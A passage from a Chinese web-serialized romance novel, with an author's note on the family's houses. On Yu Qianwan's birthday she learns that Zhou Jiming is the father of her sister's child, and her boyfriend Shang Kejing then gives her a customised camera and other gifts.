每年生日,虞千绾要么就只和家里人一起过,要么就和零星几个当下交际多关系好的朋友一起过。 不过无论哪一种,商恪景都会在。 但今年的生日较为特殊,是他们恋爱后迎来的第一个,大学同学之间的关系确实也没那么紧密,而且大四下学期没课,大部分大学同学都不在校内,虞千绾便不打算喊朋友和自己一起过生日,就和虞昭音商恪景两人过。 虞昭音白天肯定也是要在嘉澍工作的,且她的时间比商恪景宝贝多了,也更不可能更改。 好在他们之间很熟,商恪景加入也不会感到太多别扭。 不过在虞昭音面前,商恪景言行上到底还是会有些受限的,他想单独把他准备的礼物送给虞千绾。 两人便定好,在虞千绾生日当天,她中午提前些去离集团大厦最近的那栋别墅等他。 反正她家别墅是空的,没有人住,他工作一结束就去找她。 去那的车程近,他们中午可以在一起待着说说话,还能安闲吃顿午饭- 生日当天。 虞千绾早晨睡到九点多自然醒。 手机上已经收到了很多朋友的祝贺消息。 这种睡醒就被幸福包裹着的感觉很好,虞千绾笑吟吟回复了每位朋友的好意,又窝在被窝里玩了会儿手机才起床收拾。 她边玩边弄,化好妆后就没什么时间了,立即乘车往那栋空别墅赶。 随着车程渐近,虞千绾倒有些感慨。 毕竟是出生起就住的地方,且住的时间最长,存载了太多回忆。 当初搬离的时候还心想时不时要回来看看,结果这么多年都没有再回来过一次,分明离得也不远。 车辆停稳,司机下车帮她打开后座车门。 虞千绾下车,举起手机对着别墅拍了张照片发给商恪景。 一边打字一边朝里进:【我到啦,在家里等你~】 指腹刚敲下波浪线,还不待发出。 不远处的入户门忽然就从内打开了。 长久没人住的别墅里竟然有人,虞千绾浑身一激灵,身形赶忙后退两步,警惕抬眼看去的同时,手已经悬在按给商恪景打视频的键上了。 方便有什么不对劲时第一时间联系他。 可当看到从入户门走出的那人时,虞千绾已经忘记这茬了,怔怔站在原地。 这张脸这个人给她的冲击力太强,比别墅里有人还要强…… 那人看到她也微愣了下。 但很快就缓和过来,挂上浅笑朝她颔了颔首。 虞千绾五官都费解地皱在了一起。 不是…… 周既明为什么会从她家别墅走出来??? 这是他们第三次打照面。 每一次,虞千绾都觉得匪夷所思至极。 这一次尤其! 作者有话说:俩宝太有钱,家里房子太多,怕有读者宝宝没看明白,在这统一说一下。 住所一:最靠近商业圈的别墅,也是千绾和恪景爸爸还在集团掌权做总裁的时候两家人都住的地方,但因为地处商业圈,所以占地面积相对小。后来随着他们长大,爸妈退休,各自都有了各自的住所,这里就空旷下来没人住了。商知珩不那么在意生活环境,只图去工作方便,能多睡会儿,所以工作后又单独搬了回来住。昭音姐呢注重工作的同时也比较注重生活环境,所以没住在这,虞家的这套别墅就空着没人住。 住所二:就是千绾和恪景现在住的这套别墅,是他们成年时候爸妈买的,很大!处处都很舒服,但离商业圈有些距离。恪景如果用午休时间从集团回来的话倒是能赶个来回,不过大半时间都会被浪费在路上,吃饭时间被压缩,会很赶,没办法吃个好饭。即便这样也没办法和千绾在一起待很久,所以他中午一般都是不回来的。 住所三:京大校园旁边住的房子,因为首选是离学校近,所以就是很普通的小区,而且临毕业了,后面估计就不会怎么出场了,基本都住在住所二。 综上,大概就是这三套! 第93章 第 93 章 两个人都过于低调…… “虞小姐, 还记得我吗?我是周既明,之前在京大篮球馆和外面小吃街见过。” 周既明面上挂着的笑容愈发温和,他主动走到虞千绾面前,朝她伸出右手。 他越笑, 虞千绾越想起鸡皮疙瘩, 不扭头叫人都不错了, 更别提和他握手, 她浑身都在排斥他。 虞千绾又往后退了半步和周既明拉开距离, 声线绷着,冷眸凝他, “你怎么从我家出来了?” 周既明仿佛全然不会感到尴尬, 笑着收回手,“虞小姐, 我想你可能对我有些误会,我是你姐姐的——” 他顿了顿, 继而道:“朋友。” “当初在篮球场很抱歉, 你和你姐姐长得很像,当时你又戴着帽子挡住了上半张脸,我一时没看清认错了人,闹了乌龙, 再次向你诚挚道歉。” “我姐?” 始料未及的走向, 虞千绾愕然到险些没发出声,突然意识到什么,指了指别墅, “我姐也在这?” “对。” 周既明点头,对虞昭音工作安排很熟知地自然道:“她前几天不是去纽约出差了吗,昨天刚回国, 今天时差还没完全倒回来,就来这休息会儿睡个午觉。” 虞千绾眼神忽而敏锐,“那你为什么在这?和我姐之间是公事还是私事?” “私事。” 她姐自从接手嘉澍以后的闲暇时间很宝贝,很多年都没有男人够格侵占分毫了。 他是从哪冒出来的? 她怎么从来没听姐姐提过? 带着些被隐瞒的醋意,虞千绾眼神掺上些忿忿,上下细细打量起周既明。 倏然,她脑海里闪过除夕那天姐姐独自在庭院里和异性打电话的情形。 难不成电话那头的人就是周既明? 虞千绾眉头紧皱,心里万分抗拒。 实在是他第一次见面时给她留下的印象太不好,那样粗鲁的蛮力一下扼住她手腕,捏的她腕骨生疼。 如果周既明是把她认成了姐姐岂不是代表他那天要这么对待姐姐??? 以他当天暴戾的姿态,若不是认错了人,而是真的抓住了姐姐,怕是不会陡然清醒松开手,还不知要怎么样呢。 想着,虞千绾唇线也紧紧抿住,唇角微微下撇。 尽显不满。 周既明自知给虞千绾留下了不好的印象,他想要挽回,笑容又深了几个度,带着些示好,“听昭音说今天是你生日,你们姐妹俩晚上还要一起过生日。” “生日快乐。” 周既明由衷祝贺了一声,低头边掏出手机点开微信扫一扫边说:“但我也是才知道,更没想过会遇上你,没准备礼物,不然加个微信?我买好以后再联系你送给你好吗?” “正好我一直对之前见面冒犯到你的事情深表歉意,想请你吃顿饭,加了微信以后也方便你在有空的时候联系我。可以吗?” 从周既明开口那一声亲昵唤出的“昭音”,虞千绾就睁大了眼睛,后面的话基本都没怎么听进去。 她本身对周既明就没什么好感,更不可能加他微信,她又不缺他那一顿饭,何况她现在满肚子都是酸意——商恪景刚跟她表白没多久她就和姐姐分享了,结果这边周既明都进家门了,姐姐却丁点苗头都没有和她透露过! “不需要。” 丢下这么一句,虞千绾就侧身掠过周既明,大步行至入户门,摁下指纹解锁进入,反手关上门。 有了门阻开周既明和他的视线,虞千绾瞬间分寸全无,手忙脚乱朝着姐姐的房间冲去。 卧室门被人从外突兀打开时,虞昭音刚刚睡着。 因为倒时差,她困得要命,结果又被开门声吵醒,烦闷感霎时间升腾起。 她睡觉习惯戴着眼罩,懒得摘,她翻了个身背对着房门的方向,疲倦的声音沙哑含怒,表达更是简明扼要,“滚。” 回应她的却是哀怨至极的一声“姐……” 极其熟悉但很不该出现在这的声音。 虞昭音困意猛然散了大半,半撑起身扭头看去的同时单手掀起一截眼罩。 光线从半敞的门外泄入,足以让她看清站在门口的虞千绾。 “……千绾?” 虞昭音缓缓拉开眼罩,但眼睛一时间还难以适应亮度,半眯着眼坐起身,“你怎么来了?” 虞千绾朝虞昭音走近,不答反问,语调郁郁,“姐你刚刚把我认成谁了?” 她走到床边时,虞昭音困怠的眼睛也完全睁开了。 虞千绾非常容易挂脸,情绪大多情况下都藏不住,虞昭音清晰看到了她微努的唇和埋怨的眼神,整张脸都写着不高兴三个大字。 不需多想,虞昭音就猜到了原因,无奈轻叹声:“你碰到周既明了?” “啊……” 虞千绾万分抗拒的哼唧了好几声,最后无力趴倒在床上,手脚一起无能狂怒地乱划着,“姐你怎么真跟他熟悉啊!” 她有种自家白菜被猪拱了的难受感。 虞千绾上半身趴在床上,脚还踩在地上。 虞昭音看着她半吊着扑腾的样子失笑,抬手就摸了摸她的发,哄说:“没谈没谈。” “我知道没谈!他跟我自我介绍的时候,说是你的朋友。” 要是男朋友,他才不会这么省略前面那个‘男’字,即便如此,虞千绾还是不快,抬起脸就对着虞昭音激愤道:“可是你这么久,一个字都没有和我提过!你们的关系都已经近到,你准许他进家了。” 虞千绾深知姐姐是个隐私感很强的人,她很注重个人空间,即便恋爱,她也不会随便把人带回久居过的家,她多数情况下会带对方去一个不常住的地方。 但这种不常住,绝不等同于现在处于的这栋别墅,因为这里是她们一家人住了最久的地方。 除非那人在虞昭音心里很特殊,但这么多年,虞千绾见过也听过虞昭音提起好些男的,这些人无一例外,都没特殊到这种程度。 结果周既明就这么冷不丁闯入了,虞千绾若不是意外撞见还不知道,她免不得有些气,还有些委屈和惆怅。 “他就是你除夕时候偷偷在院子里打电话的那个人吧?你那天明明答应过我的,说和他关系更近一步就和我分享的,结果却骗我……我要不是今天过来迎面撞到,你还不知道要瞒我多久,真过分。” 越说越难过,虞千绾有些话赶话地怨怼道:“你要是这样,以后我再也不把我的事情分享给你了。” 虞昭音解释:“我跟他关系没有更近一步,依旧和过年时候一样。” “可他都进家了,这种程度明明已经很不一样了,你在跟我玩文字游戏。” 虞千绾声音越说越闷,“如果按你这么说,是不是在我和商恪景没结婚之前,我们保持男女朋友关系恋爱期间发生的任何特殊事件,我都不应该再跟你分享了。” 最能管住虞千绾的人是虞昭音,最让虞昭音没辙的人亦是虞千绾。 可以说,虞千绾是在虞昭音的期待下诞生的。 她们爸妈本来不打算再生的,想着有一个孩子就可以了,否则也不会隔了十年才生虞千绾。 虞昭音幼时爸妈工作很忙,她每每在家都觉得自己孤零零的,别墅越大,孤寂感越强,虽有保姆陪伴,但那不是她想要的。 彼时关系最好的两个朋友都有兄弟姐妹,虞昭音经常听到她们或笑或吐槽兄弟姐妹,虽然有些事听起来的确很烦,但很有人气,不像她一个人连闹都闹不起来。 那会儿虞昭音也太小,话出口不需要太多思考,她想要陪伴,想要弟弟妹妹,便就和爸妈多提了几次。 见她反复提及,爸妈便同她认真探讨了这个问题,他们反省说陪伴她的时间少,日后一定增加,但生二胎这件事并不在他们的规划中。 虞昭音知道,这是爸妈拒绝了自己,她应该无缘有个弟弟妹妹了,但最终目的达成,爸妈愿意多陪她也可以。 谁知又过了两年,爸妈心态发生了一定的变化。 虞昭音的话、孤单的身影、希冀的眼神无疑是最初种下的那粒种子,在悄无声息中生根发芽。 某个契机,他们便决定再生个孩子。 虞千绾出生后,爸妈依旧很多时间都花在工作上。 大多时候都是保姆在带她。 虞昭音倒是想天天和朝思暮想盼来的妹妹待在一起,奈何要上学,只能每天放学后再巴巴赶回来抱一抱。 虞千绾并没有婴孩时期的记忆,但常听爸妈笑说,她小时候很难带,尤其难以哄睡,很认人。 谁哄她她都不睡,就认姐姐。 虞昭音一抱一拍她就睡着了。 有记忆后更不用说,姐妹俩好得跟什么似的。 虞昭音其实是个很怕孤独很需要陪伴的人,迄今也是,不然不会在二十多岁的年纪就生下孩子,只不过较为清冷的外表给了人错觉,会让不熟的人觉得她无坚不摧,没太多感性时分。 虞千绾一向是知道的,但因为姐妹俩之间是互相的,且她本身就有很强烈的分享欲,所以大多时候都是她主动去找姐姐也不觉有甚,可现下她什么都告诉姐姐,姐姐却不同她讲,这种不对等的落差感让她心绪一下就覆满了酸涩的潮湿。 “我没有那个意思。” 虞昭音主动去摸虞千绾的侧脸,去拉她的手,靠着肢体动作反复示好哄她,但根本问题没解决,虞千绾拗着股劲,虞昭音一碰到她,她就立即拉开距离。 脸也扭过去,赌着气,总是不正眼瞧虞昭音。 带着妥协和无奈的叹息,虞昭音又出了声,“好吧,我跟你说,但你不许和爸妈说啊,这事牵扯起来有些大。” 闻言,虞千绾偏过一只眼,终于直视了她一眼。 “他是橙子生理上的父亲。” 仿佛一道惊雷后还跟着一道,一个比一个有冲击力。 虞千绾脑袋被炸得一片空白,惊愕弹坐起身的同时,只能发出一句震撼的“卧槽!” 开了这个口,后面的话虞昭音也无需虞千绾多问就自己解释了遍。 出国读大学那几年以及刚回国的时候,虞昭音身边的异性基本没断过,处于要么有交往对象要么有暧昧对象的阶段,空窗期不会逾过一个月。 虽然那些人都各有各的优秀,但没有一人能让虞昭音保持长久的爱,她也习以为常,没兴趣了就分手再去找下一个。 可接触的男人多了之后,虞昭音渐觉没劲,就好像把所有性格的男人都谈了一圈,毫无新鲜感,她的恋爱时长越来越短,最后发展到难以对异性提起兴趣。 不过那阵,虞昭音在嘉澍还没立稳,还有很多需要学的,时间放在工作上都忙不过来,更没时间放在男人身上,索性封心锁爱潜心于工作。 但后来,虞昭音能力渐长,在事业上逐渐游刃有余,工作于她而言就没了挑战性,她又开始间歇式感到孤独虚无。 经历过一段没有男人的生活,虞昭音发现男人已经彻底提不起她的兴趣了,她思量着可以生个孩子,反正嘉澍集团需要继承人,生孩子是早晚的事,可她又不想因为孩子和异性有太多牵扯,便想着去国外精子库挑选。 不过在那会儿,虞昭音光有这个念头,还没确定究竟什么时候实操。 周既明的出现完全在虞昭音的意料之外,他是她26岁那年在德国认识的。 彼时嘉澍有个和德国的合作,也是虞宗然放权给虞昭音的第一个大项目,由她全权负责,项目持续近一年的时间。 虞昭音如果完美完成,那就可以准备彻底接手嘉澍了。 那时的周既明正在德国读博。 他们因机缘巧合在异国认识,又因都是中国人,所以多聊了几句。 周既明身上有股老牌的学究感,也过度斯斯文文的,无疑成了虞昭音那段时间在国外的消遣,她很想知道他斯文的皮囊之下是什么样。 周既明从没谈过恋爱,在感情这方面的经历为零。 一个新手,一个老手,答案无需多想。 虞昭音拿下了周既明,但足足用了三个多月,这时间都超过她最长的一段恋爱时长了。 虞昭音显然不是个很有耐心的人,确认恋爱关系之后,她开始疯狂推动进度条。 很快,她就如愿看到了周既明皮囊之下最赤裸的模样。 克己复礼却又浪荡的反差感莫名让虞昭音在他身上沉迷很久。 她罕见的对男人又提起了些兴趣,也破天荒的谈了场六个多月的恋爱。 怀上小橙子,完全是个意外。 那是在结束德国项目将要回国的最后一个夜晚,虞昭音在没告诉周既明的情况下来了个分手炮。 大抵因为知道是最后一次享受这个男人,她晚上玩得有些猛,周既明也被她挑逗得激动,套在中途破了。 两人发现的时候及时换了新的,不过都知道有怀孕风险。 事后,周既明及时给虞昭音买了避孕药,多次表示抱歉,以后一定好好注意,不让她再吃伤身。 虞昭音看着药片,鬼使神差地不想吃,她静静凝了周既明须臾。 德国博士生,高材生,智商没得说。 外貌好,个子也高。 那些精子库里的捐献者估计都没几个比得上他的条件。 反正明天她回国后,他们就没有交集了。 真有个孩子他也不会知道。 何况能不能怀上还另说。 虞昭音找了个借口使唤走了周既明,而后将药片裹着纸巾丢到垃圾桶里,周既明回来的时候只当她已经吃过了。 翌日,虞昭音登机前用德国的手机卡给周既明发了分手短信就潇洒注销了那张卡。 哪知没多久真发现自己怀孕了,那么低的概率,就这么发生了。 是个在虞昭音预料之中的意外,她欣喜接受。 刚怀孕的那阵,虞昭音还是有些忐忑的,担心一个不经意的转弯偶遇了周既明。 怕他知晓了她怀孕后产生些没必要的纠缠。 随着时间,小橙子出生、长大,这么多年周既明都没出现过,虞昭音早没了这种忧虑把他抛到了九霄云外,结果周既明就那么猝不及防的出现了。 那是去年年底,虞昭音参加周老教授的八十大寿,周既明就站在周老身边。 他们的视线就这么隔着许多人遥遥对上。 周既明依旧是那副温儒的模样,却好像哪里不一样了,眼神讳莫如深攫取着她,透着危险。 虞昭音下意识想逃,可身处于他家的宴会场中,她哪里还能轻易逃得掉。 也是这天,虞昭音才知道,周既明的周,原来是这个周。并且,他还是周老的独孙。 周家在经济上自然不比虞家富绰,但却是知名的书香世家,家中祖祖辈辈教书育人,培养出一批批优秀人才进入不同领域,其中不乏身居高位者,影响力广泛。 作为周家独子,周既明更不必说,家中积累的一切都是要渐渐转到他手中的。 即便周家一向清流,不会掺和任何,但并不妨碍旁人把周家看做香饽饽。 虞昭音如若早知,定然不会和周既明有这么一番。 她还以为他们以后不会再见了…… 而且他们在国外时,很少聊及家里的情况,只提过寥寥数句,他说他妈妈在体制内工作,他爸是大学老师。 虞昭音彼时听到浑不觉有什么,就心想着是个高知家庭,但在她的见识中也很多。 可如若这个高知家庭是周家的话……那的确整个京市只有一个。 他的介绍过于朴素。 而她也不遑多让。 说自家就是做点小生意的。 两个人都过分低调,都没对对方的家庭有过多的窥私欲,然后造成了现下的情形。 他们在国外时常喊对方的英文名,虽然知道对方的中文名,但因为很少喊总有种淡淡的陌生感。 可当“虞昭音”和“嘉澍集团”联系在一起的时候,小橙子根本藏不住,圈子里谁不知嘉澍集团大女儿未婚生女,有个三岁的儿子。 周既明也不是蠢的,时间一对就知道小橙子是他的孩子。 虞千绾闻言警铃大作,“他该不会想要和你争小橙子的抚养权吧?” 虞昭音揉了揉眉心,半躺下去,“没事,我已经都处理好了。” “那他见过小橙子了吗?” “见过了,不过没告诉小橙子他的身份,只让喊他叔叔。” “他这么听话?” 虞千绾眉梢匪夷所思微抬,总觉周既明不是这样好商量的人,“……他之前把我误认成你的时候,跟个疯子一样……” “这事他跟我提过,现在你知道也好,省得再对那事心有余悸的。归根结底,在和周既明的事上我确实做的有失妥帖。但我没想到他会耿耿于怀这么多年,倒吓着了你。” “我倒没什么,就是你。” 虞千绾担心地看着姐姐,“你们俩现在到底是什么情况?他是知道了小橙子的存在后放不下小橙子还是重逢后放不下你?还是说你其实也对他还有些感情?” “这事有些……” 虞昭音酝酿半天,很犹豫的酝酿出句“复杂。” 虞千绾眉头瞬间蹙起,“姐,你又这样。” 好吧,其实并不复杂,只是有些少儿不宜。 虽然妹妹已经长大了,但作为姐姐的在她面前说这些还是免不得感到怪异,下意识想要隐瞒。 但见她五官又不情不愿皱在一起,虞昭音只得坦白道:“算是炮友吧,他在床上确实对我很有吸引力。” 这话过于直白,是虞千绾绝对做不出的事。 只见她刚还含着复杂情绪的眼睛陡然就清澈了,一双澄亮的大眼睛圆溜溜睁着,眨巴着。 单纯又无措。 虞千绾年纪也不小了,但每每和姐姐的生活相较,她都感觉自己的生活过于小儿科,还像个未成年。 商恪景对她也很有吸引力,但在床上,她总是羞耻心过甚,不太敢动弹…… 她突然很想向姐姐请教一二,她也想让商恪景不太敢动弹。 第94章 第 94 章 “好粉。” 虞千绾的眼睛大而亮, 总给人一种一眼看到底的清澈纯净感。 虞昭音在国外留学过,人也成熟,在两性关系这方面比多数人都要开放。 她觉得大家都是成年人,即便只是做炮友也是你情我愿的, 又不是同时脚踩几条船, 没有任何问题。就她个人而言, 这种关系比恋爱要轻松, 不需要花太多时间去维系, 她有着比男人更重要的事业和家人。 但看着虞千绾这双眼,她罕见的有些有种自己的话玷污了纯白带坏了小孩的即视感, 遑论她们之间还有十岁的年纪差。 她不禁抬手捂在虞千绾眼前, 挡住视线,“好了好了, 别再这么看着我了。以后大人的事情,小孩子就不要多问了, 你还是老实谈你的青春校园恋爱吧。” 虞昭音对虞千绾总有种老母亲心态, 就好像不管虞千绾长到多大,在她的眼里总还是个小朋友。 这种话题,虞昭音提及都要反复思量,更别提虞千绾了, 她虽然心里很想向姐姐学习, 但同时她又清楚,这种事情嘴上聊起是一回事,付诸行动又是另一回事。 现下氛围再被虞昭音一挑岔开, 她就更不好意思提这茬了。 “这里都多久没来过了?今天怎么冷不丁跑来了?” 话题被虞昭音彻底揭过。 虞千绾顺着话就跟姐姐说明了情况。 姐妹俩聊了一会儿后,虞昭音说她下午还有视频会议,得午睡会儿不然没精神——她昨天下午才回国, 时差没这么快倒过来,晚上硬逼着自己睡却也就睡了两三个小时,这会儿困得厉害。 闻言,虞千绾起身下了床让姐姐好好休息。 出了卧室带上门后,虞千绾边下楼边给商恪景发消息。 姐妹俩今天在这碰上完全是巧合,谁也没想到。 但怕和商恪景在客厅聚着庆祝生日会吵着姐姐睡觉,虞千绾便想和商恪景商量着换个地点。 而且姐姐在,他们俩在一块也不太好腻歪,总会提心吊胆的,就怕姐姐冷不丁下楼。 商恪景刚下班,正在往电梯去。 收到虞千绾的消息立刻就给商知珩打去了电话,让哥哥中午就别回别墅住了,把空间借他单独陪虞千绾过个生日。 这种非工作时间且不涉及到工作的请求,商知珩无需多加思索就配合着同意了,而且他办公室里也有休息间,可以凑合一中午。 商恪景将消息同步给虞千绾。 虞千绾先是回了个ok,往他家别墅去的路上又按耐不住地发了句:【你一定想象不到,我在这碰到了谁】 商恪景:【谁?】 虞千绾:【等你来了再说!打字太麻烦,三言两语说不明白】 陡然知道了一个这么大的消息,虞千绾很难淡定。 但又不能和家人聊,更不能和外人提起,只能和绝对值得信任不可能往外说的商恪景分享。 而且商恪景熟悉虞昭音和小橙子,还知道周既明,省去许多麻烦,不需要虞千绾多花时间和他解释人物关系,简直就是个绝佳的分享对象。 虞千绾站在商恪景家别墅门口等了没几分钟,他的车就驶入视野中。 欢愉溢于言表,虞千绾低头特意捋了捋自己的手链和项链,这些都是商恪景送她的,卡着生日的零点送她的。 虞千绾自己都不记得什么时候了,她给商恪景分享过一个视频,视频里男生惹女生不高兴了,然后用金饰摆了个sorry哄女生。 商恪景青出于蓝而胜于蓝,他摆了个“Happy Birthday”. 光是看长出一截的字母就知道商恪景需要多放许多金饰才能摆成,遑论他还在横竖这种笔画上放的是更重更值钱的金条。 弯曲的部分才用金饰做衔接。 商恪景双手端着长方形托盘将其捧出时视觉上金灿灿的一片很具有冲击性,虞千绾接过的时候也切实感受到了沉甸甸的重量。 触觉视觉双重刺激,她当下非常高兴。 起床之后瞧见还是开心,于是挑了几款尤其喜欢的戴上出来见他。 他见她喜欢肯定也会很开心。 确定饰品没有被衣物遮挡后,虞千绾热烈朝着车辆摆了摆手。 紧合的车窗随即降下大半,商恪景的手先行自内探出,也摆了摆回应她。 跟着,他半个脑袋侧出。 他们之间隔着距离,虞千绾尚不能看清他的五官和神情,但却能清晰感知到他在笑,笑意很浓,和她的雀跃程度不分上下。 顿时,虞千绾的分享欲更甚了。 一箩筐的话仿佛瞬间涌到嗓子眼,她有好多好多想和他说的。 可真当车停稳,商恪景下车的时候,虞千绾的注意力忽然就被转移,忘记了原本要同他讲的话。 因为他两手都提着礼品袋,礼品袋被撑得鼓鼓囊囊的,明显里面放了很多礼物。 生日当天看到这种东西,虞千绾几乎可以肯定这是商恪景要送给自己的。 她并不意外商恪景会给她送礼物,这是过生日的基操,但她没想到商恪景会准备这么多,他两手都提得满满当当的。 礼品袋的顶端是空着的,虞千绾敛眸扫去,只见其中很多单独打包好的小礼物。因为每个礼物用的打包纸不同,一眼看去五彩缤纷的。 但堪堪瞧见一瞬,商恪景就将两手后撤背在身后,身形更是刻意遮挡,不给虞千绾再看礼品袋。 见状,虞千绾胃口更是被吊起,倾身探头去看,甚至直接开口:“什么东西?好多呀。” 商恪景双手都是东西,腾不出空,没办法以手去推阻虞千绾,他只能一边躲闪着往虞千绾身后绕,一边笑回:“惊喜、惊喜!宝宝,现在别看,等马上我给你一个一个慢慢揭晓。” “我看看嘛,那么多呢,反正也是要给我的嘛。” “不行宝宝~在这太没仪式感了,我准备了很久的。” 听到这话,虞千绾就不打算再在门口看了。 虽然礼物是她的,但准备礼物的人也很需要情绪价值。 可商恪景的模样过于谨慎维护了,神情也过于可爱了,惹得虞千绾忍不住想逗他。 她佯装还想看,商恪景就继续往她身后的方向缩躲。 她转身,他再躲。 如此反复。 两个人幼稚的就好像在家门口玩起了老鹰抓小鸡的游戏,商恪景手上的礼物就是被保护的小鸡。 直到约莫一分半钟后,他们才结束这场幼稚至极的游戏,伴随着笑语声进家。 但商恪景依旧保持着警惕心,人站在虞千绾身后,让她走在前的同时还不忘把礼物护在身后,防止她冷不丁杀个回马枪。 虞千绾配合着他,老实走在前面,没再逗他。 但闲不住的忽然轻咳一声,左臂悬空一伸,右手拉了拉左袖,让细盈的腕上戴着的手链更为明显的露出来。 “刚下车的时候就看到了,很好看。” 商恪景低头就在她侧脸亲了下,“项链也好看,你戴什么都好看。” “那确实。” 虞千绾大大方方接下这话,且不吝于回馈夸赞,“你品味也很好,挑的我都很喜欢。” 她扭头瞧他,笑的眉眼弯弯,“果然还是从小认识的好呀,我喜欢什么你都知道。从某种程度上来说,这是不是也算是养成系?” “何止,我对异性的认知全部基于你。” “嘴巴这么甜?” 商恪景正好俯身去按指纹开门,虞千绾顺势踮脚侧首,将唇浅浅贴上他唇角,声调清脆,“嗯~!果然很甜,怪不得说出来的话总是很好听。” 他们之间好像就没有热恋期褪去的时候,商恪景总是很容易就被虞千绾撩到。 她一主动亲他,他就下意识追上去想回吻。 不仅如此,他的眼神也瞬时就掺杂上晦暗。 虞千绾敏锐觉察到,身子紧急后仰,抬手就捂住他的唇,“不可以,会弄花我的口红,我今天化妆化了很久。” 她亲商恪景时控制了力度,只是轻微碰了一下。 如若主动方换成商恪景,那绝对不可能这么轻易就停下,她的唇妆一定会阵亡的。 虞千绾很满意自己今天的唇妆,不想这么快就被商恪景亲没。 入户门已经开锁,虞千绾将他脑袋朝后一推,闷着笑就推门踏入。 想着大寿星要拍美照,商恪景没亲她的唇,但想吻她的劲很难消退,他黏糊地跟上去,退而求其次在她脸上啄了好几下。 皮肤痒,心也痒痒,弄得虞千绾咯咯直笑。 俩人腻歪得厉害,以至于从别墅门外到玄关这一截花费了好几倍的时间。 商知珩住的地方总是贯彻极简风,一眼看去,屋内十分空旷。 鞋柜里也清一色的都是男鞋,显然这里平常压根不会有女性过来。 商恪景便让虞千绾不用换鞋了,等他们走后,他联系保姆过来打扫就行。 虞千绾步伐轻快行过玄关,视线在客厅扫了一圈后转身笑眯眯瞧瞧商恪景,再瞧瞧他手上的袋子,满心都扑在上面,“那现在可以给我看看我的礼物了嘛?” “等一下,还有一个。” 商恪景手上拿不下,不得不把礼品袋先放在柜子上,推门准备折回车上拿最后一件礼物时不太放心地叮嘱虞千绾,“我很快就拿回来,不许偷看啊宝宝,不许。” 虞千绾也想早点看到他给自己准备的礼物,分外听话地往后退了几步让他安心。 很快,商恪景又拿着一个包装精致的物什回来了。 这个礼物的贵重程度明显不一样,从他用双手仔细抱着的姿势就可以看出。 “什么呀什么呀?” 虞千绾好奇心完全被商恪景勾起。 商恪景把22个包装好的礼物全部平放在桌上,像盲盒似的让虞千绾自行挑选拆开顺序。 虞千绾第一反应是拿起手机各角度拍摄,撒娇的调调起起伏伏,还拖着些尾音,“我先全部拍一张!这些包装纸都好好看啊,我都不舍得拆了。” 商恪景这段时间都要成为手艺人了,又是学各种手工小礼物又是学习打包。手用多了,指侧免不得会有些小伤痕,或是一个不注意被划破皮或是反复磨过某一处微微泛红带着轻微刺痛感。 但在这全程,商恪景都很高兴,期待着虞千绾收到的反应。 现下,虽然虞千绾还没拆开看到,可表露出来的欣喜已然让商恪景这个准备礼物的人感到满足。 他从后搂住虞千绾的腰,亲亲她的脸颊,再埋头在她颈间蹭一蹭,嗅嗅她的馨香,“不用不舍得,以后还会有很多。” “每一次都是不一样的。” 虞千绾才不舍得直接撕开包装纸查看里面的礼物,她寻觅到一把小剪刀,准备沿着包装纸边缘细细裁开。 没人看到自己送出的礼物被用心对待不会动容,商恪景心头更软,环在虞千绾腰间的手也圈得更紧,声音愈发黏糊,“宝宝要先拆哪个?” “这个!” 虞千绾径直指向商恪景最后单独拿进来的那个礼物,“看你刚刚拿它的样子就觉得很特殊,我要第一个查看!” 选定的礼物在她目前站位的九点钟方向,虞千绾说着就往那里挪动。 商恪景跟着她的步伐移动,但全程没松过手,像个连体婴般赖在虞千绾身后。 因为知道里面放着什么。 商恪景在站定的时候腾出只手帮虞千绾扶住了礼物盒,防止不知情的她在拆包装纸的过程中冷不丁翻面使得里面的东西有所磕碰。 拆开包装纸,虞千绾看到里面盒子上印着的logo就知道是什么了。 她激动不已“啊”了声,因为礼物本身,更因为送礼物的人。 “我特意找人改过,都是顶配,你试试看好不好用。” 商恪景送的是相机,这也是他早早想好准备送给虞千绾的生日礼物。 她现在的工作少不了拍摄,虽然有专业负责拍摄的团队,但她自己也会拍。 偶尔,商恪景就会听到虞千绾念叨说自己的相机美中不足的地方,她也去看了别的相机,但这个比得过她相机的那里又比不过,研究一阵后虞千绾发现综合水平还是自己的相机最好,她就摆烂懒得再折腾了,但时而感觉某个点不好用的时候还是会忍不住咕哝两句。 商恪景将她这些话都听到了心里,找了不少人请教,几番周折,终于把那些虞千绾认为还能改进的地方精进到力所能及的最好。 其中的麻烦,商恪景一个字都没提,虞千绾虽不能全部想象出,但也大致猜到,毕竟她曾了解过。 他总是这样,在不正经的事上话很多,真费了心的事却很少说。 虞千绾心脏一瞬间都要跳出来,她很心动。 脑子里再想不到自己的唇妆,扭头就去吻商恪景,重重一下压到他的薄唇上。 商恪景忍了两秒,见她没有退开的意思,大掌转瞬就箍住了她的腰肢,将她往自己怀里带,灵活的舌凿开她唇齿抵入。 一吻毕时,虞千绾唇上丁点口红都没了,只余天然的肉粉色。 但因为刚激吻完,唇色要再偏红些,更衬得她明眸皓齿。 虞千绾搂着商恪景后颈,眸中盛满笑吟,夸张说:“以后我拍出的视频一定是全网最高清的,养刁网友的眼睛,然后他们再也看不进去别人的视频,只爱看我一个的。” 商恪景似乎毫不觉得浮夸,很自然就接下,“当然,我一直相信。” 他如此,虞千绾反倒有些不好意思再往下说了。 但肢体上的依赖亲近肉眼可见,她又往他怀里钻了钻,仰头亲了亲他下巴,情绪急转直下,忽然有些沮丧,“好遗憾,你还要去上班,只能在一起待一会儿。” 不然她还能和他亲好久抱好久。 商恪景垂首以鼻尖轻蹭着她的鼻尖,同步喟叹,“希望我哥和旎旎姐早日和好吧,他谈恋爱的话应该就不会再管我很严了。” “那很难。” 虞千绾似有同感般摸了摸自己的脸,“我现在想想那天旎旎姐扇知珩哥的巴掌声,都感觉好疼,一定积攒了很久的仇怨。” “而且知珩哥太闷了,什么都不说……等他追求人,感觉最少半年起。” 商恪景想笑,但又因深深的赞同而倍感无奈,只能道:“下个月就好了。” 下个月,他在这个项目中负责的部分就结束了。 到时候商知珩会给他放一段时间的假再安排给他下个项目。 这段时间,商恪景一直用这个假期安抚自己和虞千绾,日盼夜盼,就等着那日来临,届时他一定从早到晚都和虞千绾腻在一起。 但今天中午的时间还是紧张的,虞千绾还有21个礼物没拆呢,他们也还没吃饭。 不想让商恪景饿着肚子去上班,虞千绾腻腻乎乎又在他脸上亲了两下才转回身继续拆礼物。 她这次挑了个很小的包装,拿起也很轻。 